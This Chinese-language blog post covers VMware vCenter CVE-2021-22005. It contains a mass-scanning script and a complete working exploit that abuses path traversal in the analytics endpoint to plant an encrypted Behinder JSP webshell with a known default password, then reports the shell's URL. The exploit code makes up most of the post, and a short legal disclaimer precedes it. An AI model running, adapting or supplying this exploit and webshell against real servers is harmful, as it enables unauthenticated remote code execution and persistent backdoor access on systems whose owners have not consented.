摘要:该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。目前已经检测到攻击者正在扫描和攻击存在漏洞的服务器。
目录
声明:切勿用于非法入侵,仅供检测与学习!传送门 ——> 中华人民共和国网络安全法
2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。
其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。
根据Shodan的搜索结果,数以千计的vCenter Server可通过互联网访问并受到攻击 。目前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。
我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
构建POC如下
#author: 小缘喵import requestsfrom requests.packages import urllib3urllib3.disable_warnings()headers={ "User-Agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36"}params = ( ("_c", "test"),)for i in open("漏洞url所在的.txt","r"): if "https" in i: i = i.strip("/r/n") url = i + "/analytics/telemetry/ph/api/level" try: r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10) code = r.status_code if code == 200: text = r.text if text: if "OFF" not in text: print(f"/033[0;31m{url}/033[0m 可能存在漏洞") with open("vul.text","a",encoding="utf-8") as f: f.write(i+"/r") else: print(f"{i} 不存在漏洞") except: pass else: pass
用法:CVE-2021-22005_poc.py -t https://ip地址
import requestsimport randomimport stringimport sysimport timeimport requestsimport urllib3import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return "".join(random.choice(chars) for _ in range(size)) def escape(_str): _str = _str.replace("&", "&") _str = _str.replace("<", "<") _str = _str.replace(">", ">") _str = _str.replace("/"", """) return _str def str_to_escaped_unicode(arg_str): escaped_str = "" for s in arg_str: val = ord(s) esc_uni = "//u{:04x}".format(val) escaped_str += esc_uni return escaped_strdef createAgent(target, agent_name, log_param): url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param) headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close" } json_data = { "manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded": True, "deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7", "localPayloadPath": "a8", "localObfuscationMapPath": "a9" } requests.post(url, headers=headers, json=json_data, verify=False) def generate_manifest(webshell_location, webshell): manifestData = """ ServiceInstance content.about.instanceUuid content.about.osType content.about.build content.about.version vir:VCenter ServiceInstance vir:VCenter """ % (webshell_location, webshell) return manifestDatadef arg(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help = "Target", required = True) args = parser.parse_args() target = args.target print("[*] Target: %s" % target) return targetdef exec(): target = arg() # Variables webshell_param = id_generator(6) log_param = id_generator(6) agent_name = id_generator(6) shell_name = "Server.jsp" webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>""" webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name webshell = str_to_escaped_unicode(webshell) manifestData = generate_manifest(webshell_location,webshell) print("[*] Creating Agent") createAgent(target, agent_name, log_param) url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param) headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"} requests.post(url, headers=headers, json=json_data, verify=False) #webshell连接地址 url = "%s/idm/..;/%s" % (target, shell_name) code = requests.get(url=url, headers=headers,verify=False).status_code if code != "404": print("webshell地址: %s" % url) print("[*]冰蝎3.0 Webshell连接密码: rebeyond" ) else: print("未获取到webshell地址")if __name__ == "__main__": exec()
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/121593.html
摘要:在当前页面抓包后修改内容,写入冰蝎脚本文件。添加的内容为实现反弹。影响范围相关漏洞有复现过程环境这里先使用扫描一下是否开启了服务。使用工具写入。 目录 简介Web...
摘要:目录弱口令后台部署弱口令后台部署登录口处可爆破登录口处可爆破漏洞原理由于配置不当,可导致任意文件上传,影响版本由于配置不当,中的设置为,可导致用方法上传任意文件,但限制了后缀的上传漏洞复 目录 CVE-2017-12615 CVE-2020-1938 Tomcat 弱口令&后台war部署 ...
摘要:本文完整记录了如何从物理服务器,保持所有环境配置信息,纹丝不动的迁移到虚拟机上,俗称。测试在上可以看到会自动创建一台虚拟机并启动。所以要求与源主机必须能够直接通信才可以迁移。参考操作实现物理机迁移到虚拟机中文用户指南中文原文链接地址 本文完整记录了如何从物理服务器,保持所有环境配置信息,纹丝不动的迁移到虚拟机上,俗称 P2V 。采用的工具是VMware公司的 VMware vcente...
摘要:环境搭建漏洞复现任意上传文件方法一在文件名后面添加斜杠来进行绕过方法二在文件名后面添加来进行绕过方法三在文件名后面添加来进行绕过方法四上传哥斯特生产的漏洞修护配置值为或注释参数,禁止使用方法并重启。 ...
摘要:免责声明本文档供学习,请使用者注意使用环境并遵守国家相关法律法规由于使用不当造成的后果上传者概不负责摘抄为世界进文明,为人类造幸福,以青春之我,创建青春之家庭,青春之国家,青春之民族,青春之人类,青春之地球,青春之宇宙,资以乐其无涯之生。 ...
阅读 3229·2021-11-22 09:34
阅读 1231·2021-09-30 09:46
阅读 1562·2021-09-08 09:36
阅读 1784·2019-08-30 12:53
阅读 3385·2019-08-28 18:07
阅读 2840·2019-08-27 10:55
阅读 2870·2019-08-26 10:12
阅读 3404·2019-08-23 18:21